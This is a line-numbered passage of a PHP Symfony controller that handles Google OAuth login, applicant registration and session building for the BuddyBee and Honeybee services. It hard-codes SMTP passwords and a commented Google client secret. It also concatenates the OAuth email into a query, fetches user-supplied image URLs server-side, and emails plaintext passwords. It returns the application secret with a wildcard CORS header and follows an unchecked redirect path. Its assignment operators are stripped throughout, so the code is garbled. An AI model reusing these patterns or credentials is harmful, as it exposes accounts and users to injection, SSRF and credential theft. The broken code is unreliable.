  6648.                     'lastName' => $applicantInfo['familyName'],
  6649.                     'type' => $token['token_type'],
  6650.                     'token' => $token['access_token'],
  6651.                 ];
  6652.             }
  6653.         } else if (isset($_GET["access_token"])) {
  6654.             $token $_GET["access_token"];
  6655.             $tokenType $_GET["token_type"];
  6656.             if (!isset($token['error'])) {
  6657.                 $google_client->setAccessToken($token);
  6658.                 $google_service = new Google_Service_Oauth2($google_client);
  6659.                 $applicantInfo $google_service->userinfo->get();
  6660.                 $oAuthEmail $applicantInfo['email'];
  6661.                 $oAuthData = [
  6662.                     'email' => $applicantInfo['email'],
  6663.                     'uniqueId' => $applicantInfo['id'],
  6664.                     'image' => $applicantInfo['picture'],
  6665.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6666.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6667.                     'firstName' => $applicantInfo['givenName'],
  6668.                     'lastName' => $applicantInfo['familyName'],
  6669.                     'type' => $tokenType,
  6670.                     'token' => $token,
  6671.                 ];
  6672.             }
  6673.         }
  6674.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6675.             $isApplicantExist $applicantRepo->findOneBy([
  6676.                 'email' => $oAuthData['email']
  6677.             ]);
  6678.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6679.                 $isApplicantExist $applicantRepo->findOneBy([
  6680.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6681.                 ]);
  6682.             }
  6683.             if (!$isApplicantExist) {
  6684.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  6685.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  6686.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  6687.                     ->getQuery()
  6688.                     ->getResult();
  6689.                 if (!empty($usersQueried))
  6690.                     $isApplicantExist $usersQueried[0];
  6691.             }
  6692.             if ($isApplicantExist) {
  6693.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6694.                 } else
  6695.                     return $this->redirectToRoute("core_login", [
  6696.                         'id' => $isApplicantExist->getApplicantId(),
  6697.                         'oAuthData' => $oAuthData,
  6698.                         'encData' => $encData,
  6699.                         'locale' => $request->request->get('locale''en'),
  6700.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6701.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6702.                     ]);
  6703.             } else {
  6704.                 $fname $oAuthData['firstName'];
  6705.                 $lname $oAuthData['lastName'];
  6706.                 $img $oAuthData['image'];
  6707.                 $email $oAuthData['email'];
  6708.                 $oAuthEmail $oAuthData['email'];
  6709.                 $userName explode('@'$email)[0];
  6710.                 //now check if same username exists
  6711.                 $username_already_exist 1;
  6712.                 $initial_user_name $userName;
  6713.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6714.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6715.                     $isUsernameExist $applicantRepo->findOneBy([
  6716.                         'username' => $userName
  6717.                     ]);
  6718.                     if ($isUsernameExist) {
  6719.                         $username_already_exist 1;
  6720.                         $userName $initial_user_name '' rand(3009987);
  6721.                     } else {
  6722.                         $username_already_exist 0;
  6723.                     }
  6724.                     $timeoutSafeCount--;
  6725.                 }
  6726.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6727.                     $currentUnixTimeStamp '';
  6728.                     $currentUnixTime = new \DateTime();
  6729.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6730.                     $userName $userName '' $currentUnixTimeStamp;
  6731.                 }
  6732.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6733.                 $charactersLength strlen($characters);
  6734.                 $length 8;
  6735.                 $password 0;
  6736.                 for ($i 0$i $length$i++) {
  6737.                     $password .= $characters[rand(0$charactersLength 1)];
  6738.                 }
  6739.                 $newApplicant = new EntityApplicantDetails();
  6740.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6741.                 $newApplicant->setEmail($email);
  6742.                 $newApplicant->setUserName($userName);
  6743.                 $newApplicant->setFirstname($fname);
  6744.                 $newApplicant->setLastname($lname);
  6745.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6746.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6747.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6748.                 $newApplicant->setAccountStatus(1);
  6749.                 $salt uniqid(mt_rand());
  6750.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6751.                 $newApplicant->setPassword($encodedPassword);
  6752.                 $newApplicant->setSalt($salt);
  6753.                 $newApplicant->setTempPassword($password);;
  6754. //                $newApplicant->setPassword($password);
  6755.                 $marker $userName '-' time();
  6756. //                $extension_here=$uploadedFile->guessExtension();
  6757. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6758. //                $path = $fileName;
  6759.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6760.                 if (!file_exists($upl_dir)) {
  6761.                     mkdir($upl_dir0777true);
  6762.                 }
  6763.                 $ch curl_init($img);
  6764.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6765.                 curl_setopt($chCURLOPT_FILE$fp);
  6766.                 curl_setopt($chCURLOPT_HEADER0);
  6767.                 curl_exec($ch);
  6768.                 curl_close($ch);
  6769.                 fclose($fp);
  6770.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6771. //                $newApplicant->setImage($img);
  6772.                 $newApplicant->setIsConsultant(0);
  6773.                 $newApplicant->setIsTemporaryEntry(0);
  6774.                 $newApplicant->setApplyForConsultant(0);
  6775.                 $em->persist($newApplicant);
  6776.                 $em->flush();
  6777.                 $isApplicantExist $newApplicant;
  6778.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6779.                     if ($systemType == '_BUDDYBEE_') {
  6780.                         $bodyHtml '';
  6781.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6782.                         $bodyData = array(
  6783.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6784.                             'email' => $userName,
  6785.                             'password' => $newApplicant->getPassword(),
  6786.                         );
  6787.                         $attachments = [];
  6788.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6789. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6790.                         $new_mail $this->get('mail_module');
  6791.                         $new_mail->sendMyMail(array(
  6792.                             'senderHash' => '_CUSTOM_',
  6793.                             //                        'senderHash'=>'_CUSTOM_',
  6794.                             'forwardToMailAddress' => $forwardToMailAddress,
  6795.                             'subject' => 'Welcome to BuddyBee ',
  6796. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6797.                             'attachments' => $attachments,
  6798.                             'toAddress' => $forwardToMailAddress,
  6799.                             'fromAddress' => 'registration@buddybee.eu',
  6800.                             'userName' => 'registration@buddybee.eu',
  6801.                             'password' => 'Y41dh8g0112',
  6802.                             'smtpServer' => 'smtp.hostinger.com',
  6803.                             'smtpPort' => 465,
  6804.                             'encryptionMethod' => 'ssl',
  6805. //                            'emailBody' => $bodyHtml,
  6806.                             'mailTemplate' => $bodyTemplate,
  6807.                             'templateData' => $bodyData,
  6808. //                        'embedCompanyImage' => 1,
  6809. //                        'companyId' => $companyId,
  6810. //                        'companyImagePath' => $company_data->getImage()
  6811.                         ));
  6812.                     } else {
  6813.                         $bodyHtml '';
  6814.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6815.                         $bodyData = array(
  6816.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6817.                             'email' => 'APP-' $userName,
  6818.                             'password' => $newApplicant->getPassword(),
  6819.                         );
  6820.                         $attachments = [];
  6821.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6822. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6823.                         $new_mail $this->get('mail_module');
  6824.                         $new_mail->sendMyMail(array(
  6825.                             'senderHash' => '_CUSTOM_',
  6826.                             //                        'senderHash'=>'_CUSTOM_',
  6827.                             'forwardToMailAddress' => $forwardToMailAddress,
  6828.                             'subject' => 'Applicant Registration on Honeybee',
  6829. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6830.                             'attachments' => $attachments,
  6831.                             'toAddress' => $forwardToMailAddress,
  6832.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6833.                             'userName' => 'accounts@ourhoneybee.eu',
  6834.                             'password' => 'Honeybee@0112',
  6835.                             'smtpServer' => 'smtp.hostinger.com',
  6836.                             'smtpPort' => 465,
  6837.                             'encryptionMethod' => 'ssl',
  6838. //                            'emailBody' => $bodyHtml,
  6839.                             'mailTemplate' => $bodyTemplate,
  6840.                             'templateData' => $bodyData,
  6841. //                        'embedCompanyImage' => 1,
  6842. //                        'companyId' => $companyId,
  6843. //                        'companyImagePath' => $company_data->getImage()
  6844.                         ));
  6845.                     }
  6846.                 }
  6847.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6848.                 } else {
  6849.                     return $this->redirectToRoute("core_login", [
  6850.                         'id' => $newApplicant->getApplicantId(),
  6851.                         'oAuthData' => $oAuthData,
  6852.                         'encData' => $encData,
  6853.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6854.                         'locale' => $request->request->get('locale''en'),
  6855.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6856.                     ]);
  6857.                 }
  6858.             }
  6859.         }
  6860.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6861.             if ($isApplicantExist) {
  6862.                 $user $isApplicantExist;
  6863.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6864.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  6865.                 $globalId $user->getApplicantId();
  6866.                 $gocList $em
  6867.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  6868.                     ->findBy(
  6869.                         array(//                        'active' => 1
  6870.                         )
  6871.                     );
  6872.                 $gocDataList = [];
  6873.                 $gocDataListForLoginWeb = [];
  6874.                 $gocDataListByAppId = [];
  6875.                 foreach ($gocList as $entry) {
  6876.                     $d = array(
  6877.                         'name' => $entry->getName(),
  6878.                         'image' => $entry->getImage(),
  6879.                         'id' => $entry->getId(),
  6880.                         'appId' => $entry->getAppId(),
  6881.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  6882.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  6883.                         'dbName' => $entry->getDbName(),
  6884.                         'dbUser' => $entry->getDbUser(),
  6885.                         'dbPass' => $entry->getDbPass(),
  6886.                         'dbHost' => $entry->getDbHost(),
  6887.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  6888.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  6889.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  6890.                         'companyRemaining' => $entry->getCompanyRemaining(),
  6891.                         'companyAllowed' => $entry->getCompanyAllowed(),
  6892.                     );
  6893.                     $gocDataList[$entry->getId()] = $d;
  6894.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  6895.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  6896.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  6897.                 }
  6898.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  6899.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6900.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6901.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6902.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6903.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6904.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6905.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6906.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6907.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6908.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6909.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6910.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6911.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6912.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6913.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6914.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6915.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6916.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6917.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6918.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6919.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6920.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6921.                     $session->set('userCompanyVibrantList'json_encode([]));
  6922.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6923.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6924.                     $session->set(UserConstants::USER_APP_ID0);
  6925.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6926.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6927.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6928.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6929.                     $session->set(UserConstants::USER_GOC_ID0);
  6930.                     $session->set(UserConstants::USER_DB_NAME'');
  6931.                     $session->set(UserConstants::USER_DB_USER'');
  6932.                     $session->set(UserConstants::USER_DB_PASS'');
  6933.                     $session->set(UserConstants::USER_DB_HOST'');
  6934.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6935.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6936.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6937.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6938.                     $session->set('locale'$request->request->get('locale'''));
  6939.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6940.                     $route_list_array = [];
  6941.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6942.                     $loginID 0;
  6943.                     $loginID MiscActions::addEntityUserLoginLog(
  6944.                         $em,
  6945.                         $session->get(UserConstants::USER_ID),
  6946.                         $session->get(UserConstants::USER_ID),
  6947.                         1,
  6948.                         $request->server->get("REMOTE_ADDR"),
  6949.                         0,
  6950.                         $request->request->get('deviceId'''),
  6951.                         $request->request->get('oAuthToken'''),
  6952.                         $request->request->get('oAuthType'''),
  6953.                         $request->request->get('locale'''),
  6954.                         $request->request->get('firebaseToken''')
  6955.                     );
  6956.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6957.                     $session_data = array(
  6958.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6959.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6960.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6961.                         'oAuthToken' => $session->get('oAuthToken'),
  6962.                         'locale' => $session->get('locale'),
  6963.                         'firebaseToken' => $session->get('firebaseToken'),
  6964.                         'token' => $session->get('token'),
  6965.                         'firstLogin' => 0,
  6966.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6967.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6968.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6969.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6970.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6971.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6972.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6973.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6974.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6975.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6976.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6977.                         'oAuthImage' => $session->get('oAuthImage'),
  6978.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6979.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6980.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6981.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6982.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6983.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6984.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6985.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6986.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6987.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6988.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6989.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6990.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6991.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6992.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6993.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6994.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6995.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6996.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6997.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6998.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6999.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7000.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7001.                         //new
  7002.                         'appIdList' => $session->get('appIdList'),
  7003.                         'branchIdList' => $session->get('branchIdList'null),
  7004.                         'branchId' => $session->get('branchId'null),
  7005.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7006.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7007.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7008.                     );
  7009.                     $accessList = [];
  7010. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7011.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7012.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7013.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7014.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7015.                                 $d = array(
  7016.                                     'userType' => $thisUserUserType,
  7017. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7018.                                     'userTypeName' => $userTypeName,
  7019.                                     'globalId' => $globalId,
  7020.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7021.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7022.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7023.                                     'systemType' => '_ERP_',
  7024.                                     'companyId' => 1,
  7025.                                     'appId' => $thisUserAppId,
  7026.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7027.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7028.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7029.                                             array(
  7030.                                                 'globalId' => $globalId,
  7031.                                                 'appId' => $thisUserAppId,
  7032.                                                 'authenticate' => 1,
  7033.                                                 'userType' => $thisUserUserType,
  7034.                                                 'userTypeName' => $userTypeName
  7035.                                             )
  7036.                                         )
  7037.                                     ),
  7038.                                     'userCompanyList' => [
  7039.                                     ]
  7040.                                 );
  7041.                                 $accessList[] = $d;
  7042.                             }
  7043.                         }
  7044.                     }
  7045.                     $session_data['userAccessList'] = $accessList;
  7046.                     $session->set('userAccessList'json_encode($accessList));
  7047.                     $session_data $this->filterClientSessionData($session_data);
  7048.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  7049.                     $session_data $tokenData['sessionData'];
  7050.                     $token $tokenData['token'];
  7051.                     $session->set('token'$token);
  7052.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  7053.                         $session->set('remoteVerified'1);
  7054.                         $response = new JsonResponse(array(
  7055.                             'token' => $token,
  7056.                             'uid' => $session->get(UserConstants::USER_ID),
  7057.                             'session' => $session,
  7058.                             'success' => true,
  7059.                             'session_data' => $session_data,
  7060.                         ));
  7061.                         $response->headers->set('Access-Control-Allow-Origin''*');
  7062.                         return $response;
  7063.                     }
  7064.                     if ($request->request->has('referer_path')) {
  7065.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  7066.                             return $this->redirect($request->request->get('referer_path'));
  7067.                         }
  7068.                     }
  7069.                     $redirectRoute 'applicant_dashboard';
  7070.                     if ($request->query->has('encData')) {
  7071.                         if ($request->query->get('encData') == '8917922')
  7072.                             $redirectRoute 'apply_for_consultant';
  7073.                     }
  7074.                     return $this->redirectToRoute($redirectRoute);
  7075.                 }
  7076. //                    $response = new JsonResponse(array(
  7077. //                        'token' => $token,
  7078. //                        'uid' => $session->get(UserConstants::USER_ID),
  7079. //                        'session' => $session,
  7080. //
  7081. //                        'success' => true,
  7082. //                        'session_data' => $session_data,
  7083. //
  7084. //                    ));
  7085. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  7086. //                    return $response;
  7087. //                    return $this->redirectToRoute("user_login", [
  7088. //                        'id' => $isApplicantExist->getApplicantId(),
  7089. //                        'oAuthData' => $oAuthData,
  7090. //                        'encData' => $encData,
  7091. //                        'locale' => $request->request->get('locale', 'en'),
  7092. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  7093. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  7094. //                    ]);
  7095.             }
  7096.         }
  7097.         $selector BuddybeeConstant::$selector;
  7098.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7099.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  7100.         if ($systemType == '_ERP_') {
  7101.         } else if ($systemType == '_CENTRAL_') {
  7102.             return $this->render(
  7103.                 '@Authentication/pages/views/central_login.html.twig',
  7104.                 [
  7105.                     'page_title' => 'Central Login',
  7106.                     'oAuthLink' => $google_client->createAuthUrl(),
  7107.                     'redirect_url' => $url,
  7108.                     'message' => $message,
  7109.                     'systemType' => $systemType,
  7110.                     'ownServerId' => $ownServerId,
  7111.                     'errorField' => '',
  7112.                     'encData' => $encData,
  7113.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7114.                     'selector' => $selector,
  7115.                 ]
  7116.             );
  7117.         } else if ($systemType == '_BUDDYBEE_') {
  7118.             return $this->render(
  7119.                 '@Authentication/pages/views/applicant_login.html.twig',
  7120.                 [
  7121.                     'page_title' => 'BuddyBee Login',
  7122.                     'oAuthLink' => $google_client->createAuthUrl(),
  7123.                     'redirect_url' => $url,
  7124.                     'message' => $message,
  7125.                     'errorField' => $errorField,
  7126.                     'encData' => $encData,
  7127.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  7128.                     'selector' => $selector
  7129.                 ]
  7130.             );
  7131.         }
  7132.         return $this->render(
  7133.             '@Authentication/pages/views/applicant_login.html.twig',
  7134.             [
  7135.                 'page_title' => 'Applicant Registration',
  7136.                 'oAuthLink' => $google_client->createAuthUrl(),
  7137.                 'redirect_url' => $url,
  7138.                 'encData' => $encData,
  7139.                 'message' => $message,
  7140.                 'errorField' => $errorField,
  7141.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  7142.                 'selector' => $selector
  7143.             ]
  7144.         );
  7145.     }
  7146.     public function sophiaLoginAction(Request $request$encData ''$remoteVerify 0)
  7147.     {
  7148.         $session $request->getSession();
  7149.         $email $request->getSession()->get('userEmail');
  7150.         $sessionUserId $request->getSession()->get('userId');
  7151.         $oAuthData = [];
  7152. //    $encData='';
  7153.         $em $this->getDoctrine()->getManager('company_group');
  7154.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  7155.         $redirectRoute 'dashboard';
  7156.         if ($encData != '') {
  7157.             if ($encData == '8917922')
  7158.                 $redirectRoute 'apply_for_consultant';
  7159.         }
  7160.         if ($request->query->has('encData')) {
  7161.             $encData $request->query->get('encData');
  7162.             if ($encData == '8917922')
  7163.                 $redirectRoute 'apply_for_consultant';
  7164.         }
  7165.         $message '';
  7166.         $errorField '_NONE_';
  7167.         if ($request->query->has('message')) {
  7168.             $message $request->query->get('message');
  7169.         }
  7170.         if ($request->query->has('errorField')) {
  7171.             $errorField $request->query->get('errorField');
  7172.         }
  7173.         if ($request->request->has('oAuthData')) {
  7174.             $oAuthData $request->request->get('oAuthData', []);
  7175.         } else {
  7176.             $oAuthData = [
  7177.                 'email' => $request->request->get('email'''),
  7178.                 'uniqueId' => $request->request->get('uniqueId'''),
  7179.                 'oAuthHash' => '_NONE_',
  7180.                 'image' => $request->request->get('image'''),
  7181.                 'emailVerified' => $request->request->get('emailVerified'''),
  7182.                 'name' => $request->request->get('name'''),
  7183.                 'firstName' => $request->request->get('firstName'''),
  7184.                 'lastName' => $request->request->get('lastName'''),
  7185.                 'type' => 1,
  7186.                 'token' => $request->request->get('oAuthtoken'''),
  7187.             ];
  7188.         }
  7189.         $isApplicantExist null;
  7190.         if ($email) {
  7191.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7192.                 $isApplicantExist $applicantRepo->findOneBy([
  7193.                     'applicantId' => $sessionUserId
  7194.                 ]);
  7195.             } else
  7196.                 return $this->redirectToRoute($redirectRoute);
  7197.         }
  7198.         $google_client = new Google_Client();
  7199. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7200. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7201.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7202.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7203.         } else {
  7204.             $url $this->generateUrl(
  7205.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7206.             );
  7207.         }
  7208.         $selector BuddybeeConstant::$selector;
  7209.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7210.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7211. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7212. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7213.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7214. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7215.         $google_client->setRedirectUri($url);
  7216.         $google_client->setAccessType('offline');        // offline access
  7217.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7218.         $google_client->addScope('email');
  7219.         $google_client->addScope('profile');
  7220.         $google_client->addScope('openid');
  7221. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7222.         //linked in 1st
  7223.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7224.             $curl curl_init();
